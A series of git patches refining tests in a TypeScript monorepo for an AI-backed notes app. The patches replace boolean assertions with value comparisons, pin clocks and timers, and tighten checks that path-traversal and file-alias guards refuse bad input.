a/packages/ui-backend-pi/tests/autonomous-envelope.test.ts b/packages/ui-backend-pi/tests/autonomous-envelope.test.ts index 77219d0c81..d0b2729037 100644 --- a/packages/ui-backend-pi/tests/autonomous-envelope.test.ts +++ b/packages/ui-backend-pi/tests/autonomous-envelope.test.ts @@ -3,18 +3,19 @@ * proof is `tests/autonomous-containment.test.ts`; these are the refusals and * the selection that never reach a worker. */ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, describe, expect, spyOn, test } from "bun:test"; import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; import type { Model } from "@earendil-works/pi-ai"; +import * as internal from "@schlessera/brain-ui-sdk/internal"; import { INFERENCE_PLACEHOLDER } from "@schlessera/brain-ui-sdk/internal"; import { piAutonomousEnvelope } from "../src/autonomous-envelope.js"; const anthropic = { provider: "anthropic", id: "claude-sonnet-4-6", api: "anthropic-messages", baseUrl: "https://api.anthropic.com" } as Model; const dirs: string[] = []; const stops: Array<() => void> = []; -const saved = { ANTHROPIC_API_KEY: process.env.ANTHROPIC_API_KEY, ODYSSEUS_PI_KEY: process.env.ODYSSEUS_PI_KEY }; +const saved = { ANTHROPIC_API_KEY: process.env.ANTHROPIC_API_KEY, OPENAI_API_KEY: process.env.OPENAI_API_KEY, ODYSSEUS_PI_KEY: process.env.ODYSSEUS_PI_KEY }; afterEach(() => { for (const stop of stops.splice(0)) stop(); for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); @@ -38,11 +39,20 @@ describe("pi autonomous envelope", () => { test("a provider override selects the upstream; a $NAME key reads the server environment", () => { delete process.env.ANTHROPIC_API_KEY; + // An ambient OpenAI key would answer before the override's key. + delete process.env.OPENAI_API_KEY; process.env.ODYSSEUS_PI_KEY = "sk-odysseus-override"; const openai = { provider: "openai", id: "gpt-odysseus", api: "openai-completions", baseUrl: "https://api.openai.com/v1" } as Model; - const { relay, inference } = piAutonomousEnvelope(openai, agentDir({ "models.json": { providers: { openai: { baseUrl: "https://gateway.example/v1", apiKey: "$ODYSSEUS_PI_KEY" } } } })); - stops.push(relay.stop); - expect(inference.basePath).toBe("/v1"); + const start = spyOn(internal, "startInferenceRelay"); + try { + const { relay, inference } = piAutonomousEnvelope(openai, agentDir({ "models.json": { providers: { openai: { baseUrl: "https://gateway.example/ithaca/v1", apiKey: "$ODYSSEUS_PI_KEY" } } } })); + stops.push(relay.stop); + expect(inference.basePath).toBe("/ithaca/v1"); + expect(start).toHaveBeenCalledTimes(1); + expect(start.mock.calls[0]![0]).toMatchObject({ upstream: "https://gateway.example/ithaca/v1", credentials: { authorization: "Bearer sk-odysseus-override" } }); + } finally { + start.mockRestore(); + } }); test.each([ From 0cd84a488bebe73eec7052589354bf6564cd4383 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:06:37 +0100 Subject: [PATCH 055/252] test(core): the geo map leg check compares each leg's availability Test-Health: th-20261110163736-83b662#14 --- packages/core/tests/geo-cli.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/core/tests/geo-cli.test.ts b/packages/core/tests/geo-cli.test.ts index 776ad17622..214f0098ca 100644 --- a/packages/core/tests/geo-cli.test.ts +++ b/packages/core/tests/geo-cli.test.ts @@ -152,7 +152,7 @@ describe("actual brain geo command contracts", () => { "--bbox", "-0.001,-0.001,0.002,0.001", "--no-background", "--out", "missing.png", "--json"]); expect(response.code).toBe(0); const result = JSON.parse(response.stdout); expect(result.legs).toHaveLength(2); expect(result.pins).toHaveLength(3); - expect(result.legs.every((leg: { available: boolean }) => !leg.available)).toBe(true); + expect(result.legs.map((leg: { available: boolean }) => leg.available)).toEqual([false, false]); expect(result.pins[2].drawn).toBe(false); expect(result.text).toContain("Route 1 leg 2"); expect(result.artifact.bytes).toBeGreaterThan(1000); expect(requests).toHaveLength(0); }); From 76970bf8c9622574276afb87dbe4caacbed0ca69 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:07:19 +0100 Subject: [PATCH 056/252] test(ui-backend-pi): assert exactly one completed-usage receipt for an ordinary Pi turn Test-Health: th-20261110184656-6654f8#4 --- .../ui-backend-pi/tests/completed-response-usage.test.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/packages/ui-backend-pi/tests/completed-response-usage.test.ts b/packages/ui-backend-pi/tests/completed-response-usage.test.ts index c6472bf33b..7765958895 100644 --- a/packages/ui-backend-pi/tests/completed-response-usage.test.ts +++ b/packages/ui-backend-pi/tests/completed-response-usage.test.ts @@ -54,8 +54,9 @@ test("ordinary Pi turns emit general completed usage and never count terminal re inputTokens: 10, cacheReadTokens: 20, cacheCreationTokens: 3, source: "pi_main_message", coverage: "runtime_normalized", } }]); const receipts = events.filter(event => String(event.kind) === "usage"); - expect(receipts.length, "BUDGET_PI_GENERAL_COMPLETED_RECEIPT").toBeGreaterThan(0); - expect(receipts.at(-1)).toMatchObject({ usage: { inputTokens: 10, outputTokens: 5, cacheReadTokens: 20, cacheCreationTokens: 3 } }); + // One completed answer: the turn_end redelivery, the next message_start and the aborted partial add none. + expect(receipts, "BUDGET_PI_GENERAL_COMPLETED_RECEIPT").toHaveLength(1); + expect(receipts[0]).toMatchObject({ atToolBoundary: true, usage: { inputTokens: 10, outputTokens: 5, cacheReadTokens: 20, cacheCreationTokens: 3 } }); expect(events.filter(event => event.kind === "autonomous_usage")).toEqual([]); } finally { session.dispose(); } }); From 31c0d5f1fc262537de1bfffc554d8857efd09faa Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:07:51 +0100 Subject: [PATCH 057/252] test(ui-backend-claude): fire the stuck-handshake deadline instead of waiting it out Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110180830-ff27e0#8 --- .../tests/version-requirements.test.ts | 24 ++++++++++++++----- 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/packages/ui-backend-claude/tests/version-requirements.test.ts b/packages/ui-backend-claude/tests/version-requirements.test.ts index c530839c00..1004e5b657 100644 --- a/packages/ui-backend-claude/tests/version-requirements.test.ts +++ b/packages/ui-backend-claude/tests/version-requirements.test.ts @@ -141,12 +141,24 @@ test("failed SDK handshake refuses API input rather than treating init as verifi expect(h.frames.at(-1)).toMatchObject({ type: "error", message: expect.stringContaining("handshake refused") }); }); test("a stuck SDK handshake has a bounded pre-prompt refusal", async () => { - const f = fixture(); const h = harness(() => new Promise(() => {})); const started = Date.now(); - await createClaudeBackend(options(f, h)).startTurn({ prompt: "nonempty user work", signal: new AbortController().signal, bridge: h.bridge }); - expect(h.calls).toHaveLength(1); - expect(h.released).toHaveLength(0); - expect(h.frames.at(-1)).toMatchObject({ type: "error", message: expect.stringContaining("SDK startup timed out after 5 s") }); - expect(Date.now() - started).toBeLessThan(7000); + // The gate's own deadline is registered at its production 5 s and fired at + // once; every other timer keeps real time. + const descriptor = Object.getOwnPropertyDescriptor(globalThis, "setTimeout")!, native = globalThis.setTimeout; + const deadlines: number[] = []; + Object.defineProperty(globalThis, "setTimeout", { ...descriptor, value: (callback: () => void, delay?: number, ...args: unknown[]) => { + if (!/turn-prompt-gate\.ts/.test(new Error().stack ?? "")) return native(callback, delay, ...args); + deadlines.push(delay ?? 0); + return native(callback, 0, ...args); + } }); + try { + const f = fixture(); const h = harness(() => new Promise(() => {})); const started = Date.now(); + await createClaudeBackend(options(f, h)).startTurn({ prompt: "nonempty user work", signal: new AbortController().signal, bridge: h.bridge }); + expect(deadlines, "SDK_STARTUP_DEADLINE_IS_5000_MS").toEqual([5000]); + expect(h.calls).toHaveLength(1); + expect(h.released).toHaveLength(0); + expect(h.frames.at(-1)).toMatchObject({ type: "error", message: expect.stringContaining("SDK startup timed out after 5 s") }); + expect(Date.now() - started).toBeLessThan(7000); + } finally { Object.defineProperty(globalThis, "setTimeout", descriptor); } }); test("host cancellation during handshake withholds input and preserves cancelled terminal", async () => { const f = fixture(); const host = new AbortController(); From 40f8dc806b9a9ac3d8044c8f499573a4447bb1b3 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:08:51 +0100 Subject: [PATCH 058/252] test(experiments): triage eval exit-code assertions print the compared values Test-Health: th-20261110185519-f622c2#1 --- experiments/ui-server/triage-eval-exit-code.test.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/experiments/ui-server/triage-eval-exit-code.test.ts b/experiments/ui-server/triage-eval-exit-code.test.ts index 28a3b424b3..997e8b928c 100644 --- a/experiments/ui-server/triage-eval-exit-code.test.ts +++ b/experiments/ui-server/triage-eval-exit-code.test.ts @@ -61,7 +61,7 @@ describe("eval:triage exit code", () => { expect(result.code).toBe(0); const written = await Bun.file(path).json(); expect(written.results.map((row: { effort: string }) => row.effort).sort()).toEqual(["high", "low"]); - expect(written.results.every((row: { pass: boolean }) => row.pass)).toBe(true); + expect(written.results.map((row: { pass: boolean }) => row.pass)).toEqual([true, true]); }); test("a failed gate exits 1 and the report is unchanged", async () => { @@ -283,8 +283,8 @@ describe("eval:triage repetition and coverage gate", () => { const record = (await Bun.file(path).json()).results[0]; expect(record.repetitions).toHaveLength(2); expect(record.repetitions.map((rep: { gate: { pass: boolean } }) => rep.gate.pass)).toEqual([false, true]); - expect(record.repetitions.every((rep: { requestedIds: string[]; judgedIds: string[] }) => - rep.requestedIds.length === 20 && rep.judgedIds.length === 20)).toBe(true); + expect(record.repetitions.map((rep: { requestedIds: string[]; judgedIds: string[] }) => + [rep.requestedIds.length, rep.judgedIds.length])).toEqual([[20, 20], [20, 20]]); }); } }); From e38ff4d5ecce44dbd2dc011953bb20f247d10fa8 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:10:08 +0100 Subject: [PATCH 059/252] test(ui-backend-pi): wait for each concurrent turn to reach its prompt instead of a 15 ms sleep Test-Health: th-20261110184656-6654f8#5 --- .../ui-backend-pi/tests/concurrency.test.ts | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/packages/ui-backend-pi/tests/concurrency.test.ts b/packages/ui-backend-pi/tests/concurrency.test.ts index 2022ad5599..5f7cc62ee1 100644 --- a/packages/ui-backend-pi/tests/concurrency.test.ts +++ b/packages/ui-backend-pi/tests/concurrency.test.ts @@ -35,6 +35,13 @@ import { makeMockBridge } from "./mock-bridge"; const CTX = {} as never; const settle = () => new Promise((r) => setTimeout(r, 15)); +/** Wait until each session's turn has reached its prompt: it has acquired, subscribed and emitted session_info. */ +async function prompted(...controls: Array<{ promptCalls: unknown[] }>) { + for (const deadline = Date.now() + 3_000; controls.some((c) => c.promptCalls.length === 0) && Date.now() < deadline;) { + await new Promise((r) => setTimeout(r, 1)); + } + expect(controls.map((c) => c.promptCalls.length)).toEqual(controls.map(() => 1)); +} /** A bridge whose frames land in a shared array (so tests demux by sessionId). */ function sharedBridge(frames: ServerMessage[]): BackendBridge { @@ -130,7 +137,7 @@ describe("pi backend — parallel sessions", () => { signal: new AbortController().signal, bridge: sharedBridge(frames), }); - await settle(); // both acquire, subscribe, emit session_info, park on prompt + await prompted(a.control, b.control); // both acquire, subscribe, emit session_info, park on prompt // Interleave emissions across the two live sessions. a.control.emitText("a1"); @@ -148,8 +155,8 @@ describe("pi backend — parallel sessions", () => { expect(combined).toEqual(["A:a1", "B:b1", "A:a2", "B:b2"]); for (const id of ["A", "B"]) { - expect(frames.some((f) => f.type === "session_info" && f.sessionId === id)).toBe(true); - expect(frames.some((f) => f.type === "result" && f.sessionId === id)).toBe(true); + expect(frames.filter((f) => f.type === "session_info").map((f) => f.sessionId)).toContain(id); + expect(frames.filter((f) => f.type === "result").map((f) => f.sessionId)).toContain(id); } } finally { brain.cleanup(); @@ -172,7 +179,7 @@ describe("pi backend — parallel sessions", () => { const c1 = new AbortController(); const mock1 = makeMockBridge(); const turn1 = backend.startTurn({ prompt: "1", signal: c1.signal, bridge: mock1.bridge }); - await settle(); + await prompted(s.control); expect(mock1.emitted.find((f) => f.type === "session_info")?.sessionId).toBe("S"); const mock2 = makeMockBridge(); @@ -199,7 +206,7 @@ describe("pi backend — parallel sessions", () => { signal: new AbortController().signal, bridge: mock3.bridge, }); - expect(mock3.emitted.some((f) => f.type === "result" && f.sessionId === "S")).toBe(true); + expect(mock3.emitted.filter((f) => f.type === "result").map((f) => f.sessionId)).toEqual(["S"]); } finally { brain.cleanup(); } @@ -221,7 +228,7 @@ describe("pi backend — parallel sessions", () => { const c = new AbortController(); const mock = makeMockBridge(); const turn = backend.startTurn({ prompt: "start", signal: c.signal, bridge: mock.bridge }); - await settle(); + await prompted(f.control); expect(mock.emitted.find((m) => m.type === "session_info")?.sessionId).toBe("F"); // Follow-up lands in the running turn via streamingBehavior "followUp". From 27d54a90b15170ccdaee999b3e74bd8efe6c1748 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:15:41 +0100 Subject: [PATCH 060/252] test(ui-backend-pi): compare values instead of booleans in the brain context and graph tests Test-Health: th-20261110184656-6654f8#6 --- packages/ui-backend-pi/tests/brain-context-scope.test.ts | 4 ++-- packages/ui-backend-pi/tests/brain-context.test.ts | 2 +- packages/ui-backend-pi/tests/brain-graph.test.ts | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/packages/ui-backend-pi/tests/brain-context-scope.test.ts b/packages/ui-backend-pi/tests/brain-context-scope.test.ts index 39bfb4950b..5c37be9bef 100644 --- a/packages/ui-backend-pi/tests/brain-context-scope.test.ts +++ b/packages/ui-backend-pi/tests/brain-context-scope.test.ts @@ -88,7 +88,7 @@ describe("brain_context in pi", () => { expect(coverage.exhaustive).toBe(false); expect(coverage.exclude).toEqual([FOCUS, REGISTRY]); expect(coverage.excerpts.length).toBeGreaterThan(0); - expect(coverage.excerpts.every((e) => e.lane === "search" || e.lane === "related")).toBe(true); + expect(coverage.excerpts.filter((e) => e.lane !== "search" && e.lane !== "related")).toEqual([]); }); test("include constrains selection and expansion, and names requested paths it left out", async () => { @@ -107,6 +107,6 @@ describe("brain_context in pi", () => { contextTool().execute("c", { query: SCOPE_QUERY, include: ["../outside.md"] }, undefined, undefined, CTX) ).rejects.toThrow("include:"); const after = await counts(); - expect(after.every(([rel, n]) => n === before.get(rel))).toBe(true); + expect(after).toEqual([...before]); }); }); diff --git a/packages/ui-backend-pi/tests/brain-context.test.ts b/packages/ui-backend-pi/tests/brain-context.test.ts index 835f52ee93..bdb956b6f9 100644 --- a/packages/ui-backend-pi/tests/brain-context.test.ts +++ b/packages/ui-backend-pi/tests/brain-context.test.ts @@ -81,7 +81,7 @@ test("no identity or focus section is prepended", async () => { test("the search's warnings lead the block when they fit", async () => { // Keyless: vector search is unavailable, and the block says so first. const out = await context("lantern", 4000); - expect(out.startsWith("> vector search unavailable")).toBe(true); + expect(out).toStartWith("> vector search unavailable"); expect(estimateTokens(out)).toBeLessThanOrEqual(4000); }); diff --git a/packages/ui-backend-pi/tests/brain-graph.test.ts b/packages/ui-backend-pi/tests/brain-graph.test.ts index ee5d0df712..5436a50da9 100644 --- a/packages/ui-backend-pi/tests/brain-graph.test.ts +++ b/packages/ui-backend-pi/tests/brain-graph.test.ts @@ -84,7 +84,7 @@ describe("brain_graph wrapper", () => { } expect(endpoints.size).toBeGreaterThan(1); const expected = [...endpoints].sort().map(expectedNode); - expect(expected.every((n) => n.title && n.type)).toBe(true); + expect(expected.filter((n) => !n.title || !n.type)).toEqual([]); expect(nodes).toEqual(expected); }); } From 83f57796d1a44d7056d45dd025534337f254a064 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:17:53 +0100 Subject: [PATCH 061/252] test(ui-backend-pi): use toStartWith in the brain_read wrapper tests Test-Health: th-20261110184656-6654f8#7 --- packages/ui-backend-pi/tests/brain-read.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/ui-backend-pi/tests/brain-read.test.ts b/packages/ui-backend-pi/tests/brain-read.test.ts index 116ee164f0..bb385b0306 100644 --- a/packages/ui-backend-pi/tests/brain-read.test.ts +++ b/packages/ui-backend-pi/tests/brain-read.test.ts @@ -43,7 +43,7 @@ describe("brain_read wrapper", () => { test("section returns that section and not the one before it", async () => { const text = await read({ path: "me/identity.md", section: "How to Work With Odysseus" }); - expect(text.startsWith("## How to Work With Odysseus\n")).toBe(true); + expect(text).toStartWith("## How to Work With Odysseus\n"); expect(text).toContain("Name the cost and the next action."); expect(text).not.toContain("## Current Identity"); }); @@ -105,7 +105,7 @@ describe("brain_read wrapper on a document over the output limit", () => { test("a path-only read is still clipped", async () => { expect(LONG.length).toBeGreaterThan(LIMIT); const text = await readBig({ path: "notes/long.md" }); - expect(text.startsWith(LONG.slice(0, LIMIT))).toBe(true); + expect(text).toStartWith(LONG.slice(0, LIMIT)); expect(text).toContain(`… [truncated ${LONG.length - LIMIT} bytes]`); expect(text).not.toContain("## Late"); }); From bfa776bd55919e1e4e71d0a348b8fafa2cb3504f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:19:26 +0100 Subject: [PATCH 062/252] test(core): compute CLI cases count only their own jobs and sandboxes Cases asserted absolute job and sandbox counts in brains other cases share, so a shuffled order failed them. Each now compares with the count taken just before its own run. Test-Health: th-20261110163736-83b662#15 --- packages/core/tests/compute-cli.test.ts | 13 +++++++++---- packages/core/tests/compute-mcp.test.ts | 2 +- 2 files changed, 10 insertions(+), 5 deletions(-) diff --git a/packages/core/tests/compute-cli.test.ts b/packages/core/tests/compute-cli.test.ts index b214f554bd..071ee7f56e 100644 --- a/packages/core/tests/compute-cli.test.ts +++ b/packages/core/tests/compute-cli.test.ts @@ -127,6 +127,8 @@ describe("usage errors", () => { describe("plan", () => { test("returns the lease, the exact source manifest and an unknown estimate as null", async () => { + // Other cases may have left jobs in the shared brain: a plan adds none. + const jobsBefore = jobIds(box); const r = await cli(box, ["plan", "--provider", "ithaca-host", "--source", "notes/route.md", "--source", "notes/raft.md", "--artifact", "out/chart.txt:2048", "--lease", "60", "--json", "--", "true"]); expect(r.code).toBe(0); const { ok, plan } = json(r.stdout); @@ -142,7 +144,7 @@ describe("plan", () => { }); expect(plan.source.files.map((f: any) => f.path)).toEqual(["notes/raft.md", "notes/route.md"]); expect(plan.source.hash).toMatch(/^[0-9a-f]{64}$/); - expect(jobIds(box)).toEqual([]); + expect(jobIds(box)).toEqual(jobsBefore); }); }); @@ -165,7 +167,7 @@ describe("run", () => { const c = json(collected.stdout); expect(Object.keys(c).sort()).toEqual(["artifacts", "job", "ok", "output"]); expect(c.output).toEqual({ stdout: "---\ntype: note\n---\n# The raft\nTwenty trees, felled on Ogygia.\n", stderr: "", truncated: false }); - expect(c.artifacts[0].file.startsWith(box.state)).toBe(true); + expect(c.artifacts[0].file).toStartWith(box.state); expect(readFileSync(c.artifacts[0].file, "utf8")).toBe("ithaca"); }); @@ -283,6 +285,8 @@ describe("a run interrupted or left unclean", () => { test("a signal while the job is still starting is kept: the job is cancelled once it has started", async () => { rmSync(gate(), { force: true }); const before = new Set(jobIds(faults)); + // A leaky-provider case may already have left its sandboxes: this run adds none. + const sandboxesBefore = liveSandboxes(faults); const proc = spawnRun(["--provider", "ithaca-gated", "--source", "notes/raft.md", "--json", "--", "sleep", "60"]); const id = await newJobIn(before, "staging"); proc.kill("SIGTERM"); @@ -297,12 +301,13 @@ describe("a run interrupted or left unclean", () => { expect(stderr).toContain("SIGTERM received, cancelling"); const { job } = json(stdout); expect(job).toMatchObject({ id, state: "cancelled", cancelRequested: true, cleanup: { state: "released" } }); - expect(liveSandboxes(faults)).toBe(0); + expect(liveSandboxes(faults)).toBe(sandboxesBefore); }, 30_000); test("human mode names the job on stderr as soon as it is recorded, before it has started", async () => { rmSync(gate(), { force: true }); const before = new Set(jobIds(faults)); + const sandboxesBefore = liveSandboxes(faults); const proc = spawnRun(["--provider", "ithaca-gated", "--source", "notes/route.md", "--human", "--", "sleep", "60"]); const id = await newJobIn(before, "staging"); const reader = proc.stderr.getReader(); @@ -317,7 +322,7 @@ describe("a run interrupted or left unclean", () => { rmSync(gate(), { force: true }); expect(code).toBe(3); expect(stdout).toContain(`job ${id}: cancelled`); - expect(liveSandboxes(faults)).toBe(0); + expect(liveSandboxes(faults)).toBe(sandboxesBefore); }, 30_000); test("an attached run whose release is never confirmed exits 2 and points at reconcile", async () => { diff --git a/packages/core/tests/compute-mcp.test.ts b/packages/core/tests/compute-mcp.test.ts index 47ed465268..932342694b 100644 --- a/packages/core/tests/compute-mcp.test.ts +++ b/packages/core/tests/compute-mcp.test.ts @@ -195,6 +195,6 @@ describe("an operation that throws", () => { driver.stop(); } expect(logged.length).toBe(COMPUTE_TOOLS.length); - expect(logged.every((args) => args.map(String).join(" ").includes(secretPath))).toBe(true); + expect(logged.map((args) => args.map(String).join(" ")).filter((line) => !line.includes(secretPath))).toEqual([]); }); }); From d458c1a0ad1049416b91cd5ad0f14dd2f0b08185 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:20:41 +0100 Subject: [PATCH 063/252] test(ui-backend-pi): pin the clock for the brain_update frontmatter bytes test Test-Health: th-20261110184656-6654f8#8 --- .../ui-backend-pi/tests/brain-update-bytes.test.ts | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/packages/ui-backend-pi/tests/brain-update-bytes.test.ts b/packages/ui-backend-pi/tests/brain-update-bytes.test.ts index 7e49c01461..f8bd7a10ef 100644 --- a/packages/ui-backend-pi/tests/brain-update-bytes.test.ts +++ b/packages/ui-backend-pi/tests/brain-update-bytes.test.ts @@ -1,4 +1,4 @@ -import { afterAll, beforeAll, expect, test } from "bun:test"; +import { afterAll, beforeAll, expect, setSystemTime, test } from "bun:test"; import { readFileSync } from "fs"; import { join } from "path"; @@ -28,9 +28,14 @@ beforeAll(async () => { afterAll(() => brain.cleanup()); test("setting one field leaves the rest of the frontmatter byte-identical", async () => { - await createBrainAccess(brain.root).update({ path: "notes/demo.md", status: "draft" }); - const today = new Date().toISOString().slice(0, 10); + // The test owns the clock: the stamped date cannot roll over between the update and the expectation. + setSystemTime(new Date("2026-07-12T12:00:00Z")); + try { + await createBrainAccess(brain.root).update({ path: "notes/demo.md", status: "draft" }); + } finally { + setSystemTime(); + } expect(readFileSync(join(brain.root, "notes/demo.md"), "utf8")).toBe( - SOURCE.replace("status: active", "status: draft").replace("updated: 2026-01-05", `updated: ${today}`) + SOURCE.replace("status: active", "status: draft").replace("updated: 2026-01-05", "updated: 2026-07-12") ); }); From 4a1d3a47a20806f684aca5e42a9309488a07afee Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:21:03 +0100 Subject: [PATCH 064/252] test(ui-backend-pi): list surviving transcripts instead of a boolean in the history removal test Test-Health: th-20261110184656-6654f8#9 --- packages/ui-backend-pi/tests/native-history-removal.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-backend-pi/tests/native-history-removal.test.ts b/packages/ui-backend-pi/tests/native-history-removal.test.ts index 9909430e76..94b5134649 100644 --- a/packages/ui-backend-pi/tests/native-history-removal.test.ts +++ b/packages/ui-backend-pi/tests/native-history-removal.test.ts @@ -117,7 +117,7 @@ test("a transcript is attributed by its header, and links stay untouched", async expect(existsSync(join(replay.dir, replay.name)), "HARD_LINK_NOT_UNLINKED").toBe(true); expect(lstatSync(join(replay.dir, replay.name)).nlink).toBe(2); // The tree its header attributes to the target is gone; the control chat is intact. - expect(readdirSync(sessionDir).some(name => name.endsWith(`_${target}.jsonl`))).toBe(false); + expect(readdirSync(sessionDir).filter(name => name.endsWith(`_${target}.jsonl`))).toEqual([]); expect(readFileSync(join(sessionDir, controlFile), "utf8")).toContain(CONTROL); expect(text(await backend.getHistory(control))).toContain(CONTROL); await expect(backend.removeSessionHistory!({ operationId: "retire-voyage", sessionId: "../penelope-letters" })).rejects.toBeInstanceOf(BackendRequestError); From dd383b552fd911424edae505828e5b5ec343321f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:24:51 +0100 Subject: [PATCH 065/252] test(ui-backend-pi): require the alias guard's own refusal in the session storage tests Test-Health: th-20261110184656-6654f8#10 --- packages/ui-backend-pi/tests/session-storage.test.ts | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/packages/ui-backend-pi/tests/session-storage.test.ts b/packages/ui-backend-pi/tests/session-storage.test.ts index a57617510e..731e64b6f4 100644 --- a/packages/ui-backend-pi/tests/session-storage.test.ts +++ b/packages/ui-backend-pi/tests/session-storage.test.ts @@ -30,16 +30,18 @@ test("session storage refuses a filesystem-root brain before creating state dire expect(existsSync(dir), "a filesystem-root brain has no external state directory").toBe(false); expect(failure?.message).toContain("outside the brain"); }); -test.each(["symlink", "hardlink"])("transcript %s alias cannot truncate policy bytes", kind => { +// The refusal names the alias guard that fired, so an earlier refusal cannot stand in for it. +const ALIAS_REFUSAL = { symlink: /ELOOP/, hardlink: /must be an unaliased regular file/ } as const; +test.each(["symlink", "hardlink"] as const)("transcript %s alias cannot truncate policy bytes", kind => { const f = fixture(), id = randomUUID(); (kind === "symlink" ? symlinkSync : linkSync)(f.policy, join(f.state, `${id}.jsonl`)); - expect(() => savePiSession(f.state, id, [{ type: "session", id }])).toThrow(); + expect(() => savePiSession(f.state, id, [{ type: "session", id }])).toThrow(ALIAS_REFUSAL[kind]); expect(readFileSync(f.policy, "utf8")).toBe("Athena owns policy.\n"); }); -test.each(["symlink", "hardlink"])("native credential %s alias cannot write policy bytes", kind => { +test.each(["symlink", "hardlink"] as const)("native credential %s alias cannot write policy bytes", kind => { const f = fixture(); (kind === "symlink" ? symlinkSync : linkSync)(f.policy, join(f.state, "auth.json")); - expect(() => syncPiAuth(f.state, "Athena owns policy.\n", "{}")).toThrow(); + expect(() => syncPiAuth(f.state, "Athena owns policy.\n", "{}")).toThrow(ALIAS_REFUSAL[kind]); expect(readFileSync(f.policy, "utf8")).toBe("Athena owns policy.\n"); }); test("native credential synchronization refuses stale input and stores exact refreshed bytes", () => { From 43293050e4c969b492985174615c220a98490ad7 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:25:17 +0100 Subject: [PATCH 066/252] test(ui-kit): streaming handoff cases run in one theme each Test-Health: th-20261110180640-b26dac#8 --- .../ui-kit/tests/visual/streaming-handoff.visual.tsx | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/packages/ui-kit/tests/visual/streaming-handoff.visual.tsx b/packages/ui-kit/tests/visual/streaming-handoff.visual.tsx index 3ea20bd06b..d7a7775f75 100644 --- a/packages/ui-kit/tests/visual/streaming-handoff.visual.tsx +++ b/packages/ui-kit/tests/visual/streaming-handoff.visual.tsx @@ -78,23 +78,25 @@ async function drive(host: HTMLElement, beforeInput = 0, afterInput = 0, stall?: } } +// Storybook owns light and dark parity (docs/process/theme-parity.md). The +// handoff timing never reads a colour, so each case runs in one theme. for (const theme of ["dark", "light"]) { - test(`${theme}: input orchestration before the first token is outside its arrival budget`, async () => { + if (theme === "dark") test(`${theme}: input orchestration before the first token is outside its arrival budget`, async () => { await withStream(theme, host => drive(host, 180)); }); - test(`${theme}: final observation after ghost removal is outside its arrival budget`, async () => { + if (theme === "light") test(`${theme}: final observation after ghost removal is outside its arrival budget`, async () => { await withStream(theme, host => drive(host, 0, 900)); }); // #3417: a long task spanning the fade's end delays the removal timer, the // fade's own end and every frame alike. Wall time grows by the stall; the // frames rendered with a faded ghost do not. - test(`${theme}: a main-thread stall across the fade's end is outside the handoff budget`, async () => { + if (theme === "dark") test(`${theme}: a main-thread stall across the fade's end is outside the handoff budget`, async () => { await withStream(theme, host => drive(host, 0, 0, { at: 590, ms: 150 })); }); - test(`${theme}: a first-token ghost held 200ms past its fade still fails`, async () => { + if (theme === "light") test(`${theme}: a first-token ghost held 200ms past its fade still fails`, async () => { await withStream(theme, async host => { const nativeTimeout = globalThis.setTimeout; let handoffTimers = 0; @@ -111,7 +113,7 @@ for (const theme of ["dark", "light"]) { }); }); - test(`${theme}: a fade slowed to 900ms still fails on its own animation clock`, async () => { + if (theme === "dark") test(`${theme}: a fade slowed to 900ms still fails on its own animation clock`, async () => { await withStream(theme, async host => { const nativeTimeout = globalThis.setTimeout; const slow = document.createElement("style"); From a5929f02d8b0658d23ca904ccf4d85d477765cb1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:25:20 +0100 Subject: [PATCH 067/252] test(core): the failing-write case starts from its own document bytes Also print values in the document-page and graph-profiles collection checks. Test-Health: th-20261110163736-83b662#16 --- packages/core/tests/document-page.test.ts | 12 ++++++------ packages/core/tests/document-writes.test.ts | 2 ++ packages/core/tests/graph-profiles.test.ts | 2 +- 3 files changed, 9 insertions(+), 7 deletions(-) diff --git a/packages/core/tests/document-page.test.ts b/packages/core/tests/document-page.test.ts index 2a8f50191e..72d74f3ba6 100644 --- a/packages/core/tests/document-page.test.ts +++ b/packages/core/tests/document-page.test.ts @@ -110,7 +110,7 @@ describe("ordering and cursor", () => { const { rows, pages } = enumerate({ pathPrefix: "notes/fleet", limit }); expect(rows.map((r) => r.path)).toEqual(expected); expect(new Set(rows.map((r) => r.path)).size).toBe(FLEET); - expect(pages.every((p) => p.total === FLEET)).toBe(true); + expect(pages.map((p) => p.total)).toEqual(pages.map(() => FLEET)); expect(pages.length).toBe(Math.ceil(FLEET / limit)); 